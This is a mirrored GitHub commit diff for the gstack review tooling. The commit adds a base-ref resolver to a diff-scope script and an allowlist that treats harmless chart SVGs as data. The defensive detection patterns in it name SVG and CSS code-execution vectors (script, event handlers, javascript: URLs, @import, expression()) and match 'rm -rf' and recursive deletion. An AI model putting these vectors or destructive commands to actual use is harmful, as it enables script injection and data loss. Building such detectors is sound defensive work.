mirror of
https://github.com/garrytan/gstack.git
synced 2026-11-03 07:18:03 +01:00
Merge commit '26d71ad689dbf9d9e740919f81cb7d2826b99fe9' into HEAD
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> # Conflicts: # docs/review-policy.md # lib/review-depth.ts # lib/review-risk.ts # test/review-packets-removed.test.ts
This commit is contained in:
commit
61cd2158a5
11 files changed
+503
-34
No files matched your search
+47
-6
@@ -51,6 +51,30 @@ if [[ ! "$BASE" =~ $_NOT_BRANCH ]] && [ "$_QUALIFIED" = false ] \
|
||||
BASE="refs/remotes/origin/${BASE}"
|
||||
fi
|
||||
|
||||
# The base as a commit (GST-884, mirroring lib/gate-diff/git.ts resolveBase from
|
||||
# GST-883): a branch name reads refs/remotes/<base> (origin/main as given), then
|
||||
# refs/remotes/<remote>/<base> that shares history with the head (origin first),
|
||||
# then refs/heads/<base>, all by full ref name, so a stale local main never widens
|
||||
# the scope and a tag named main or origin/main cannot stand in for the branch.
|
||||
# A sha, a relative ref (HEAD~1, main^2, @{u}) or a full refs/ name resolves as
|
||||
# given. Prints nothing when nothing resolves.
|
||||
_is_branch_name() {
|
||||
case "$1" in refs/*|*~*|*^*|*@\{*|HEAD|*_HEAD) return 1 ;; esac
|
||||
[[ ! "$1" =~ ^[0-9a-f]{7,64}$ ]]
|
||||
}
|
||||
_commit() { git rev-parse --verify -q "$1^{commit}" 2>/dev/null; }
|
||||
_resolve_base() {
|
||||
local ref="$1" head="$2" sha remote
|
||||
if ! _is_branch_name "$ref"; then _commit "$ref"; return; fi
|
||||
sha=$(_commit "refs/remotes/$ref") && { echo "$sha"; return; }
|
||||
for remote in $(git remote 2>/dev/null | grep -x origin; git remote 2>/dev/null | grep -vx origin); do
|
||||
sha=$(_commit "refs/remotes/$remote/$ref") || continue
|
||||
git merge-base "$sha" "$head" >/dev/null 2>&1 && { echo "$sha"; return; }
|
||||
done
|
||||
sha=$(_commit "refs/heads/$ref") && { echo "$sha"; return; }
|
||||
_commit "$ref"
|
||||
}
|
||||
|
||||
FRONTEND=false
|
||||
BACKEND=false
|
||||
PROMPTS=false
|
||||
@@ -67,6 +91,19 @@ AUTH=false
|
||||
# the root-anchored globs alone (#3335).
|
||||
TEST_PATH_RE='(^|/)(tests?|spec|__tests__)/|(^|/)tests?\.py$|(^|/)test_[^/]+\.py$|_test\.(go|py|rb|ts|js|exs|dart)$|\.(test|spec)\.[jt]sx?$|_spec\.rb$|Test\.(java|kt)$'
|
||||
|
||||
# Data files (lib/review-depth.ts DATA_PATH) outside the config locations its
|
||||
# DATA_CONFIG and agent-prose rules keep code: .github/, config/, dotfiles,
|
||||
# *.config.*, .gstack/. Case-insensitive, as DATA_PATH is.
|
||||
DATA_FILE_RE='\.(json|jsonl|ndjson|csv|tsv|png|jpe?g|gif|webp|bmp|ico|avif)$'
|
||||
DATA_CONFIG_RE='(^|/)\.github/|(^|/)config/|(^|/)\.[^/]+$|(^|/)[^/]+\.config\.[^/]+$|^\.gstack/'
|
||||
_session_data() {
|
||||
local r=1
|
||||
shopt -s nocasematch
|
||||
if [[ "$1" =~ $DATA_FILE_RE ]] && [[ ! "$1" =~ $DATA_CONFIG_RE ]]; then r=0; fi
|
||||
shopt -u nocasematch
|
||||
return "$r"
|
||||
}
|
||||
|
||||
_print_flags() {
|
||||
echo "SCOPE_FRONTEND=$FRONTEND"
|
||||
echo "SCOPE_BACKEND=$BACKEND"
|
||||
@@ -82,7 +119,8 @@ _print_flags() {
|
||||
# Base reachability (#2526): a shallow CI checkout or an unfetched ref makes
|
||||
# `git diff` return an empty list — all-false with exit 0, a green that means
|
||||
# "we could not look". Distinguish it before diffing.
|
||||
if ! git rev-parse --verify -q "${BASE}^{commit}" >/dev/null 2>&1; then
|
||||
BASE_SHA=$(_resolve_base "$BASE" "${HEAD_REF:-HEAD}" || true)
|
||||
if [ -z "$BASE_SHA" ]; then
|
||||
_print_flags
|
||||
echo "SCOPE_ERROR=no_base"
|
||||
echo "# base ref '${BASE}' is not resolvable — shallow checkout or missing fetch. Run: git fetch origin ${BASE}"
|
||||
@@ -105,16 +143,16 @@ if [ -n "$HEAD_REF" ] || [ "${2:-}" = "--head" ]; then
|
||||
echo "# --head '${HEAD_REF}' is not a commit in this repository"
|
||||
exit 2
|
||||
fi
|
||||
if ! git merge-base "${BASE}" "${HEAD_REF}" >/dev/null 2>&1; then
|
||||
if ! git merge-base "${BASE_SHA}" "${HEAD_REF}" >/dev/null 2>&1; then
|
||||
_print_flags
|
||||
echo "SCOPE_ERROR=no_merge_base"
|
||||
echo "# '${BASE}' and '${HEAD_REF}' share no merge base"
|
||||
exit 2
|
||||
fi
|
||||
_collect < <(git diff -z "${BASE}...${HEAD_REF}" --name-only 2>/dev/null)
|
||||
_collect < <(git diff -z "${BASE_SHA}...${HEAD_REF}" --name-only 2>/dev/null)
|
||||
else
|
||||
# Committed diff vs base (merge-base form; two-dot fallback when no merge base).
|
||||
_collect < <(git diff -z "${BASE}...HEAD" --name-only 2>/dev/null || git diff -z "${BASE}" --name-only 2>/dev/null || true)
|
||||
_collect < <(git diff -z "${BASE_SHA}...HEAD" --name-only 2>/dev/null || git diff -z "${BASE_SHA}" --name-only 2>/dev/null || true)
|
||||
# Working-tree changes (staged + unstaged). `git diff HEAD` fails on a repo
|
||||
# with no commits; tolerated.
|
||||
_collect < <(git diff -z HEAD --name-only 2>/dev/null || true)
|
||||
@@ -204,9 +242,12 @@ for f in ${FILES_LIST[@]+"${FILES_LIST[@]}"}; do
|
||||
*.graphql|*.gql|openapi.*|swagger.*) m_api=true ;;
|
||||
esac
|
||||
|
||||
# Auth: authentication, authorization, sessions, permissions
|
||||
# Auth: authentication, authorization, sessions, permissions. A data file
|
||||
# named for sessions (recovered-sessions.jsonl, GST-911) holds rows, not
|
||||
# session handling, so it is not auth; session config still is.
|
||||
case "$f" in
|
||||
*auth*|*session*|*jwt*|*oauth*|*permission*|*role*) m_auth=true ;;
|
||||
*auth*|*jwt*|*oauth*|*permission*|*role*) m_auth=true ;;
|
||||
*session*) _session_data "$f" || m_auth=true ;;
|
||||
esac
|
||||
|
||||
# Backend: code that isn't a frontend component/view file. Includes ESM/CJS
|
||||
|
||||
@@ -150,7 +150,7 @@ function main(): number {
|
||||
const gateScan = { tagged: gateTagged, head };
|
||||
if (has('--json')) {
|
||||
const { runtimeLines, stepDepth, depthReasons, ...rest } = plan;
|
||||
process.stdout.write(JSON.stringify({ ...rest, targeted: { ...targeted, brief, targeted_patch_id: patch }, step_depth: stepDepth, runtime_lines: runtimeLines, depth_reasons: depthReasons, depth_floor: floor ?? null, gate_scan: gateScan, fix_range: fixRange ?? null, registry: { sha: registry.sha, outputs: registry.outputs }, per_path: perPath, diff_lines: diffLines, pass, audit_effort: auditEffort, scope, gate_tagged: gateTagged, paths, deleted, stamp_only: stampOnly, consumed: collected.consumed }) + '\n');
|
||||
process.stdout.write(JSON.stringify({ ...rest, targeted: { ...targeted, brief, targeted_patch_id: patch }, step_depth: stepDepth, runtime_lines: runtimeLines, depth_reasons: depthReasons, depth_floor: floor ?? null, gate_scan: gateScan, fix_range: fixRange ?? null, registry: { sha: registry.sha, outputs: registry.outputs }, per_path: perPath, diff_lines: diffLines, pass, audit_effort: auditEffort, scope, gate_tagged: gateTagged, paths, deleted, stamp_only: stampOnly, consumed: collected.consumed, drawings: collected.drawings }) + '\n');
|
||||
return EXIT.ok;
|
||||
}
|
||||
const out = [`REVIEW_CLASS: ${plan.class} (${plan.reasons.slice(0, 3).join('; ') || 'no signals'})`, reviewDepthLine(plan), `GATE_SCAN: ${gateTagged === null ? 'unavailable' : `tagged=${gateTagged}`} head=${head}`,
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
### Fixed
|
||||
|
||||
- **/ship no longer reviews a results write-up as if it were gate code.** Three planner misreads on gstack-evals#132 (GST-911) pushed a docs PR to the five-reader full panel. A chart SVG made of drawing elements now counts as data, like the same chart as a PNG; an SVG with a script, `foreignObject`, event handler or `javascript:` URL stays code and now gets the security class. A data file named for sessions (`recovered-sessions.jsonl`) no longer sets the auth scope, so it adds no auth reader and no gate class; session code and session config still do.
|
||||
- **`gstack-diff-scope` and the receipt depth read `origin/<base>` by its full ref name (GST-884).** A local `main` behind `origin/main` no longer adds upstream files to the scope, and a tag named `main` or `origin/main` can no longer stand in for the branch.
|
||||
|
||||
### Tests
|
||||
|
||||
- `test/review-planner-misreads.test.ts`: a 600-point matplotlib-style chart plans docs, light, runtime 0 (before: code, 636 runtime lines); six ways an SVG can run script keep it code with the security class, and other non-drawing constructs (external images, any CSS beyond declarations and `url(#id)`, animations, entity declarations) keep it code; session data files leave `SCOPE_AUTH` false while session code and config set it; a stale local `main` and tags named `main` or `origin/main` leave the scope and the receipt base unchanged.
|
||||
+19
-9
@@ -181,7 +181,14 @@ follows that file, four files deep. Precedence: agent prose (`.gstack/**`), a te
|
||||
fixture path, a gate path, a config file (`.github/**`, anything under a `config/`
|
||||
directory, dotfiles, `*.config.*`, `package.json`, lockfiles, `tsconfig*.json`,
|
||||
`manifest.json` and the other tool manifests `lib/review-depth.ts` lists) and a named
|
||||
consumer each keep the path code, and YAML, TOML and SVG are always code. More than
|
||||
consumer each keep the path code, and YAML and TOML are always code. An SVG counts
|
||||
as data only when its whole text at the head is a drawing (GST-911): SVG drawing
|
||||
elements and RDF metadata, CSS made of declarations only (no `@` rule and no
|
||||
function but a same-file `url(#id)`, which closes `@import`, `image-set()`,
|
||||
`image()`, `element()` and every other CSS load), no backslash escape, every
|
||||
`href` a same-file `#` reference or an inline raster image, no event handler and no
|
||||
entity declaration, read after character references are decoded; anything else, a
|
||||
script or `foreignObject` included, keeps it code. More than
|
||||
2,000 data paths keep every one code; a `git grep` failure is `consumer_scan_failed`
|
||||
and fails the depth closed. Only `classifyDiff` applies the rule (`lib/review-collect.ts`
|
||||
finds the consumers, `gstack-ship-preflight`'s `RUNTIME_LINES` reads the same
|
||||
@@ -215,7 +222,9 @@ input, redirect toggles, proxy settings and host allowlists, archive extraction
|
||||
and path traversal (`tar.x`, adm-zip, yauzl, extract-zip, `extractall`, `tar -x`,
|
||||
`unzip`, `path.join` or `resolve` on request or entry input, a `'..'` check added
|
||||
or removed), and any changed line that names the `child_process` or
|
||||
`node:child_process` module, in any import or require spelling. The GST-850
|
||||
`node:child_process` module, in any import or require spelling. A changed SVG
|
||||
line that can run code (a script or `foreignObject` element, an event handler, a
|
||||
`javascript:` URL) is security too (GST-911). The GST-850
|
||||
rules are coarse on purpose and parse no import clause or call arguments;
|
||||
`test/review-risk-linear.test.ts` holds each of them under 100 ms on
|
||||
200,000-character hostile lines, its anchor followed by a long run of the
|
||||
@@ -225,12 +234,13 @@ that drops a table or column, deletes rows or bulk-deletes records. Auth scope,
|
||||
migrations and deleted code paths were already gate class. `RISK_RULES` hashes
|
||||
the patterns and `DEPTH_RULES` includes it.
|
||||
|
||||
**UI text and SVGs** stay code (light unless a risk class applies). A docs path
|
||||
for UI copy, locale values and chart SVGs was built as an allowlist in GST-850 and
|
||||
dropped for review cost: its first review round found a new bypass class in each
|
||||
version, the same pattern as three rounds of R51. When a diff publishes numbers,
|
||||
the batched specialist's diff keeps the write-up's text files instead of leaving
|
||||
docs out.
|
||||
**UI text** stays code (light unless a risk class applies). A docs path for UI
|
||||
copy and locale values was built as an allowlist in GST-850 and dropped for
|
||||
review cost: its first review round found a new bypass class in each version,
|
||||
the same pattern as three rounds of R51. Chart SVGs use the drawing allowlist
|
||||
above, which reads the whole file rather than changed lines. When a diff
|
||||
publishes numbers, the batched specialist's diff keeps the write-up's text files
|
||||
instead of leaving docs out.
|
||||
|
||||
**Batched checklists (the lean ensemble, GSTA-167 part 2).** One specialist
|
||||
subagent reads Testing and Security on every code or gate diff, plus
|
||||
@@ -349,7 +359,7 @@ and matching is token-bounded: `costume` never reads as cost.
|
||||
|---|---|
|
||||
| money | a path segment naming cost, spend, budget, ledger, billing, price, fee or invoice; or a changed line with an identifier ending in `_usd` or `Usd`, any `spend_cap` spelling, or a call to a paid provider `lib/pricing.ts` prices |
|
||||
| gate | a hunk the gate scan tagged: a relaxed threshold, a skipped test, a loosened check |
|
||||
| auth | `SCOPE_AUTH` from `gstack-diff-scope`, on a code path with an auth, session, jwt, permission or role token in its name |
|
||||
| auth | `SCOPE_AUTH` from `gstack-diff-scope`, on a code path with an auth, session, jwt, permission or role token in its name; a data file named for sessions (`recovered-sessions.jsonl`) outside a config location does not set `SCOPE_AUTH` |
|
||||
| secret | a secrets, credentials, keychain or token path, or a changed line that reads a key-named environment variable (`OPENAI_API_KEY`, `GH_TOKEN`) or a credential store |
|
||||
|
||||
An input the classifier cannot read (the diff, `gstack-diff-scope`, the gate
|
||||
|
||||
+25
-6
@@ -12,7 +12,7 @@ import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import { GENERATED_PATH, parseRegistry } from './regen';
|
||||
import { RESULT_CODES } from './result-codes';
|
||||
import { classifyPath, dataCandidate, type ClassInput, type DepthError, type PathLines, type RegistryInfo } from './review-depth';
|
||||
import { classifyPath, dataCandidate, svgCandidate, svgDrawing, type ClassInput, type DepthError, type PathLines, type RegistryInfo } from './review-depth';
|
||||
|
||||
export interface Collected extends ClassInput {
|
||||
perPath: PathLines[];
|
||||
@@ -30,6 +30,7 @@ export interface Collected extends ClassInput {
|
||||
mergeBase: string | null;
|
||||
untracked: string[];
|
||||
consumed: string[] | 'all';
|
||||
drawings: string[];
|
||||
}
|
||||
|
||||
function git(root: string, args: string[]): { ok: boolean; status: number | null; out: string; err: string } {
|
||||
@@ -109,7 +110,7 @@ export const CONSUMER_SCAN_DEPTH = 4;
|
||||
* a collector error, which fails the depth closed.
|
||||
*/
|
||||
export function scanConsumers(root: string, paths: readonly string[], revs: readonly string[], live: boolean, classRoot: string | readonly string[], errors: DepthError[]): string[] | 'all' {
|
||||
const candidates = [...new Set(paths)].filter(p => dataCandidate(p, classRoot)).sort();
|
||||
const candidates = [...new Set(paths)].filter(p => dataCandidate(p, classRoot) || svgCandidate(p, classRoot)).sort();
|
||||
if (candidates.length > CONSUMER_SCAN_CAP) return 'all';
|
||||
const base = (p: string) => p.slice(p.lastIndexOf('/') + 1);
|
||||
const named = new Map<string, Set<string>>();
|
||||
@@ -149,9 +150,20 @@ export function scanConsumers(root: string, paths: readonly string[], revs: read
|
||||
return candidates.filter(p => consumed.has(p));
|
||||
}
|
||||
|
||||
function result(diff: ReturnType<typeof readDiff>, extra: Pick<Collected, 'root' | 'registry' | 'errors' | 'mergeBase' | 'untracked' | 'consumed'>): Collected {
|
||||
/** The largest SVG whose text is read for the drawing check; a larger one stays code. */
|
||||
export const DRAWING_READ_CAP = 8 * 1024 * 1024;
|
||||
|
||||
/** The changed SVG candidates whose whole text, read by `read` (null when it cannot be read), is a drawing (lib/review-depth.ts svgDrawing). */
|
||||
function drawingsAmong(perPath: readonly PathLines[], classRoot: string | readonly string[], read: (p: string) => Buffer | null): string[] {
|
||||
return perPath.filter(e => !e.binary && svgCandidate(e.path, classRoot)).map(e => e.path).filter(p => {
|
||||
const buf = read(p);
|
||||
return !!buf && buf.length <= DRAWING_READ_CAP && !buf.includes(0) && svgDrawing(buf.toString('utf8'));
|
||||
}).sort();
|
||||
}
|
||||
|
||||
function result(diff: ReturnType<typeof readDiff>, extra: Pick<Collected, 'root' | 'registry' | 'errors' | 'mergeBase' | 'untracked' | 'consumed'> & { drawings?: string[] }): Collected {
|
||||
const paths = diff.perPath.map(e => e.path).sort();
|
||||
return { ...diff, ...extra, paths, gateTagged: null, diffLines: diff.perPath.reduce((n, e) => n + e.lines, 0) };
|
||||
return { ...diff, drawings: [], ...extra, paths, gateTagged: null, diffLines: diff.perPath.reduce((n, e) => n + e.lines, 0) };
|
||||
}
|
||||
|
||||
/** The range `baseSha`...`headSha` from git objects alone; the registry is the base commit's, never the head's. */
|
||||
@@ -168,7 +180,11 @@ export function collectCommit(root: string, baseSha: string, headSha: string): C
|
||||
const tree = git(root, ['ls-tree', '-r', '--name-only', '-z', headSha]);
|
||||
const skillDirs = [...new Set(tree.out.split('\0').flatMap(p => /^([^/]+)\/SKILL\.md(\.tmpl)?$/.exec(p)?.[1] ?? []))].sort();
|
||||
const consumed = scanConsumers(root, [...diff.perPath.map(e => e.path), ...diff.deleted], [headSha, mergeBase], false, skillDirs, errors);
|
||||
return result(diff, { root: skillDirs, registry, errors, mergeBase, untracked: [], consumed });
|
||||
const drawings = drawingsAmong(diff.perPath, skillDirs, p => {
|
||||
const blob = spawnSync('git', ['cat-file', 'blob', `${headSha}:${p}`], { cwd: root, timeout: 60_000, maxBuffer: DRAWING_READ_CAP + 1 });
|
||||
return blob.status === 0 && !blob.error ? blob.stdout : null;
|
||||
});
|
||||
return result(diff, { root: skillDirs, registry, errors, mergeBase, untracked: [], consumed, drawings });
|
||||
}
|
||||
|
||||
/** The working tree against the merge base with origin/<base> (or <base>), untracked files counted per path; the registry is the base ref's commit. */
|
||||
@@ -196,5 +212,8 @@ export function collectLive(root: string, base: string): Collected {
|
||||
if (!binary) { diff.added[p] = text.split('\n'); diff.created.push(p); }
|
||||
}
|
||||
const consumed = scanConsumers(root, [...diff.perPath.map(e => e.path), ...diff.deleted], [mergeBase], true, root, errors);
|
||||
return result(diff, { root, registry, errors, mergeBase, untracked, consumed });
|
||||
const drawings = drawingsAmong(diff.perPath, root, p => {
|
||||
try { return fs.statSync(path.join(root, p)).size <= DRAWING_READ_CAP ? fs.readFileSync(path.join(root, p)) : null; } catch { return null; }
|
||||
});
|
||||
return result(diff, { root, registry, errors, mergeBase, untracked, consumed, drawings });
|
||||
}
|
||||
+91
-5
@@ -13,7 +13,7 @@ import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import type { ResultCodeName } from './result-codes';
|
||||
import { matchesAny } from './ship-policy';
|
||||
import { matchRisk, RISK_RULES, type RiskClass } from './review-risk';
|
||||
import { decodeCharRefs, matchRisk, RISK_RULES, SVG_PATH, svgActive, type RiskClass } from './review-risk';
|
||||
|
||||
export type DiffClass = 'docs' | 'tests' | 'code' | 'gate';
|
||||
export type PathClass = 'docs' | 'tests' | 'code';
|
||||
@@ -58,7 +58,7 @@ const GATE_PATH = [
|
||||
/^lib\/review-(depth|collect|scope|targeted|risk)\.ts$/, /^review\/specialists\/targeted\.md$/, /^bin\/gstack-review-plan$/, /^lib\/ship-queue[^/]*\.ts$/, /^lib\/regen\.ts$/, /^\.gstack\/generated\.json$/, /^ship\/sections\/(review-army|adversarial)\.md\.tmpl$/, /^scripts\/resolvers\/review-army\.ts$/,
|
||||
];
|
||||
|
||||
/** Data files: JSON, CSV, TSV and raster images. YAML, TOML and SVG are never data here: deploy configs, API specs and executable SVG stay code. */
|
||||
/** Data files: JSON, CSV, TSV and raster images. YAML and TOML are never data here: deploy configs and API specs stay code. An SVG is data only as a drawing (svgDrawing). */
|
||||
export const DATA_PATH = /\.(json|jsonl|ndjson|csv|tsv|png|jpe?g|gif|webp|bmp|ico|avif)$/i;
|
||||
/** Data-shaped files tools read by convention, with no code naming them: always code. */
|
||||
const DATA_CONFIG = [
|
||||
@@ -66,10 +66,89 @@ const DATA_CONFIG = [
|
||||
/(^|\/)(package|package-lock|npm-shrinkwrap|composer|deno|jsr|tsconfig[^/]*|jsconfig[^/]*|manifest|app|vercel|netlify|firebase|renovate|turbo|nx|lerna|biome|angular|nest-cli|lint-staged|components|pyrightconfig|cdk|serverless|appsettings[^/]*)\.json$/i,
|
||||
];
|
||||
|
||||
/**
|
||||
* The SVG elements a chart is drawn with, lowercased, under any namespace prefix: shapes, text, paint servers, clip paths,
|
||||
* filters (feImage loads a document, so it is left out), CSS, and the RDF metadata plotting libraries write. No script,
|
||||
* foreignObject, link, animation or embedded document.
|
||||
*/
|
||||
const SVG_ELEMENTS = new Set([
|
||||
'svg', 'g', 'defs', 'symbol', 'use', 'path', 'rect', 'circle', 'ellipse', 'line', 'polyline', 'polygon', 'text', 'tspan', 'textpath', 'title', 'desc',
|
||||
'metadata', 'clippath', 'mask', 'pattern', 'marker', 'lineargradient', 'radialgradient', 'stop', 'style', 'image', 'filter',
|
||||
'feblend', 'fecolormatrix', 'fecomponenttransfer', 'fecomposite', 'feconvolvematrix', 'fediffuselighting', 'fedisplacementmap', 'fedistantlight',
|
||||
'fedropshadow', 'feflood', 'fefunca', 'fefuncb', 'fefuncg', 'fefuncr', 'fegaussianblur', 'femerge', 'femergenode', 'femorphology', 'feoffset',
|
||||
'fepointlight', 'fespecularlighting', 'fespotlight', 'fetile', 'feturbulence',
|
||||
'rdf', 'work', 'agent', 'type', 'date', 'format', 'creator', 'description', 'license',
|
||||
]);
|
||||
/** Markup a drawing may hold besides elements: comments, CDATA, the XML declaration, and a DOCTYPE with no internal subset. */
|
||||
const SVG_MARKUP = /^<(?:!--|!\[CDATA\[|\?xml\s|!DOCTYPE\s+svg\b[^>[]*>)/i;
|
||||
/**
|
||||
* What a drawing never holds: a named entity beyond the five XML ones, a backslash (a CSS escape such as @\69mport), a CSS
|
||||
* import, a url() to another document, a CSS expression or binding.
|
||||
*/
|
||||
const SVG_REFUSED = [/&(?!(?:amp|lt|gt|quot|apos);)/, /\\/, /@import/i, /url\(\s*(?!['"]?\s*#)/i, /expression\s*\(/i, /-moz-binding|\bbehavior\s*:/i];
|
||||
/** A drawing's CSS, a style element's text or a style attribute's value, holds declarations only: no @ rule and no function but url(#id). */
|
||||
const SVG_STYLE_OPEN = /<(?:[A-Za-z_][\w.-]*:)?style\b/gi;
|
||||
const SVG_STYLE_CLOSE = /^<\/(?:[A-Za-z_][\w.-]*:)?style\s*>/i;
|
||||
const SVG_CSS_REF = /url\(\s*(['"]?)#[\w.:-]*\1\s*\)/gi;
|
||||
const SVG_CSS_REFUSED = /[@(]/;
|
||||
/** An href or src value a drawing may hold: a same-document reference, or a raster image inline. */
|
||||
const SVG_HREF = /^\s*(?:#|data:image\/(?:png|jpe?g|gif|webp);base64,[A-Za-z0-9+/=\s]*$)/i;
|
||||
|
||||
/**
|
||||
* Whether an SVG's whole text is a drawing (GST-911): every element in SVG_ELEMENTS, no event handler, every href or src a
|
||||
* same-document reference or an inline raster image, CSS of declarations only, and nothing SVG_REFUSED names, read after character references are
|
||||
* decoded. Every name= in the text is read, so a stray quote cannot hide a later attribute inside its value; an unquoted value
|
||||
* stops at the next =, which keeps the scan linear. A style element's CSS is walked with indexOf to its closing tag, dropping
|
||||
* comments and reading CDATA as CSS, so neither can hide a closing tag; any other markup inside it, or a style element that never
|
||||
* closes, refuses. Anything else, an SVG that can run code included, stays code.
|
||||
*/
|
||||
export function svgDrawing(text: string): boolean {
|
||||
const t = decodeCharRefs(text);
|
||||
if (SVG_REFUSED.some(r => r.test(t)) || svgActive(t)) return false;
|
||||
const cssDrawing = (css: string) => !SVG_CSS_REFUSED.test(css.replace(SVG_CSS_REF, ''));
|
||||
for (let at = 0; ;) {
|
||||
SVG_STYLE_OPEN.lastIndex = at;
|
||||
const open = SVG_STYLE_OPEN.exec(t);
|
||||
if (!open) break;
|
||||
let i = t.indexOf('>', open.index) + 1;
|
||||
if (!i) return false;
|
||||
let css = '';
|
||||
for (;;) {
|
||||
const lt = t.indexOf('<', i);
|
||||
if (lt === -1) return false;
|
||||
css += t.slice(i, lt);
|
||||
if (t.startsWith('<!--', lt)) {
|
||||
i = t.indexOf('-->', lt + 4) + 3;
|
||||
if (i === 2) return false;
|
||||
} else if (t.startsWith('<![CDATA[', lt)) {
|
||||
const end = t.indexOf(']]>', lt + 9);
|
||||
if (end === -1) return false;
|
||||
css += t.slice(lt + 9, end);
|
||||
i = end + 3;
|
||||
} else if (SVG_STYLE_CLOSE.test(t.slice(lt, lt + 256))) {
|
||||
at = lt + 1;
|
||||
break;
|
||||
} else return false;
|
||||
}
|
||||
if (!cssDrawing(css)) return false;
|
||||
}
|
||||
for (let at = t.indexOf('<'); at !== -1; at = t.indexOf('<', at + 1)) {
|
||||
if (SVG_MARKUP.test(t.slice(at, at + 512))) continue;
|
||||
const tag = /^<\/?(?:[A-Za-z_][\w.-]*:)?([A-Za-z_][\w.-]*)/.exec(t.slice(at, at + 256));
|
||||
if (!tag || !SVG_ELEMENTS.has(tag[1]!.toLowerCase())) return false;
|
||||
}
|
||||
for (const m of t.matchAll(/(?<![\w.:-])([A-Za-z_][\w.:-]*)\s*=\s*(?=(?:"([^"]*)"|'([^']*)'|([^\s"'<>=]+)))/g)) {
|
||||
const local = m[1]!.slice(m[1]!.lastIndexOf(':') + 1).toLowerCase();
|
||||
const value = m[2] ?? m[3] ?? m[4] ?? '';
|
||||
if (local.startsWith('on') || ((local === 'href' || local === 'src') && !SVG_HREF.test(value)) || (local === 'style' && !cssDrawing(value))) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/** A hash of the constants and patterns that decide a depth, not of this file's bytes: a comment edit keeps it, a threshold edit changes it. */
|
||||
export const DEPTH_RULES = createHash('sha256').update(JSON.stringify({
|
||||
RISK_RULES, SMALL_DIFF_LINES, RED_TEAM_LINES, LARGE_DIFF_LINES, FULL_PASS_CAP, LIGHT_FIXED, BATCH_SCOPED, SCOPED_RANGE_LINES, ROLE_EFFORT,
|
||||
patterns: Object.entries({ GATE_PATH, AGENT_PROSE, TEST_PATH, RELEASE_METADATA, DOC_PATH: [DOC_PATH], DATA_PATH: [DATA_PATH], DATA_CONFIG }).map(([k, v]) => [k, v.map(r => `/${r.source}/${r.flags}`)]),
|
||||
RISK_RULES, SMALL_DIFF_LINES, RED_TEAM_LINES, LARGE_DIFF_LINES, FULL_PASS_CAP, LIGHT_FIXED, BATCH_SCOPED, SCOPED_RANGE_LINES, ROLE_EFFORT, SVG_ELEMENTS: [...SVG_ELEMENTS],
|
||||
patterns: Object.entries({ GATE_PATH, AGENT_PROSE, TEST_PATH, RELEASE_METADATA, DOC_PATH: [DOC_PATH], DATA_PATH: [DATA_PATH], DATA_CONFIG, SVG_MARKUP: [SVG_MARKUP], SVG_REFUSED, SVG_HREF: [SVG_HREF], SVG_STYLE_OPEN: [SVG_STYLE_OPEN], SVG_STYLE_CLOSE: [SVG_STYLE_CLOSE], SVG_CSS_REF: [SVG_CSS_REF], SVG_CSS_REFUSED: [SVG_CSS_REFUSED] }).map(([k, v]) => [k, v.map(r => `/${r.source}/${r.flags}`)]),
|
||||
})).digest('hex').slice(0, 16);
|
||||
|
||||
/**
|
||||
@@ -97,6 +176,11 @@ export function dataCandidate(p: string, root?: string | readonly string[]): boo
|
||||
return DATA_PATH.test(p) && classifyPath(p, root) === 'code' && ![...AGENT_PROSE, ...GATE_PATH, ...DATA_CONFIG].some(r => r.test(p));
|
||||
}
|
||||
|
||||
/** An SVG the data rule may move to docs once the collector reads its whole text as a drawing (ClassInput.drawings); never a data file another file is named through. */
|
||||
export function svgCandidate(p: string, root?: string | readonly string[]): boolean {
|
||||
return SVG_PATH.test(p) && classifyPath(p, root) === 'code' && ![...AGENT_PROSE, ...GATE_PATH, ...DATA_CONFIG].some(r => r.test(p));
|
||||
}
|
||||
|
||||
/** Whether a range needs the gate scan: any path that is not docs by the path-only rule. The data rule never skips it. */
|
||||
export function gateScanNeeded(paths: readonly string[], root?: string | readonly string[]): boolean {
|
||||
return paths.some(p => classifyPath(p, root) !== 'docs');
|
||||
@@ -133,6 +217,8 @@ export interface ClassInput {
|
||||
consumed?: readonly string[] | 'all';
|
||||
/** Paths the diff creates (untracked files included): their added lines are the whole file. */
|
||||
created?: readonly string[];
|
||||
/** The SVG candidates (svgCandidate) whose whole text the collector read as a drawing (svgDrawing); any other SVG stays code. */
|
||||
drawings?: readonly string[];
|
||||
/** Added and deleted lines per path (lib/review-collect.ts): the risk classes read them; without them no line signal applies. */
|
||||
added?: Record<string, readonly string[]>;
|
||||
removed?: Record<string, readonly string[]>;
|
||||
@@ -141,7 +227,7 @@ export interface ClassResult { class: DiffClass; reasons: string[]; errors: Dept
|
||||
|
||||
const sanitize = (s: string) => s.replace(/[\0-\x1f]+/g, ' ').slice(0, 200);
|
||||
const isOutput = (i: ClassInput, p: string) => !!i.registry?.outputs.length && matchesAny(i.registry.outputs, p);
|
||||
const unconsumedData = (i: ClassInput, p: string) => Array.isArray(i.consumed) && !i.consumed.includes(p) && dataCandidate(p, i.root);
|
||||
const unconsumedData = (i: ClassInput, p: string) => Array.isArray(i.consumed) && !i.consumed.includes(p) && (dataCandidate(p, i.root) || (!!i.drawings?.includes(p) && svgCandidate(p, i.root)));
|
||||
const pathClass = (i: ClassInput, p: string): PathClass => ((i.stampOnly ?? []).includes(p) || unconsumedData(i, p) ? 'docs' : classifyPath(p, i.root));
|
||||
|
||||
/** The diff's class, raised to gate by any gate signal; `errors` lists every input that fails the depth closed; `runtimeLines` counts code-class lines outside the base registry's outputs. */
|
||||
|
||||
+14
-2
@@ -7,7 +7,8 @@
|
||||
* (a redaction, sanitizer, consent or trust module; a shell, eval or raw HTML sink; outbound URL handling; archive
|
||||
* extraction and path traversal; any line naming the child_process module); data is user data (a path naming personal or
|
||||
* stored data, or a line that drops or bulk-deletes it). Path and identifier signals are token-bounded: costume never
|
||||
* names cost, and a CLI's usage text never names money.
|
||||
* names cost, and a CLI's usage text never names money. A changed SVG line that can run code (a script or
|
||||
* foreignObject element, an event handler, a javascript: URL; character references decoded) is security (GST-911).
|
||||
*/
|
||||
import { createHash } from 'node:crypto';
|
||||
|
||||
@@ -57,6 +58,16 @@ export const SECURITY_LINE = [
|
||||
/\brmSync\s*\((?:[^)]{0,500}recursive\s*:\s*true|[^)]{501})/, /\brm\s+-(?=[a-z]*r)(?=[a-z]*f)[a-z]*[rf]\b/,
|
||||
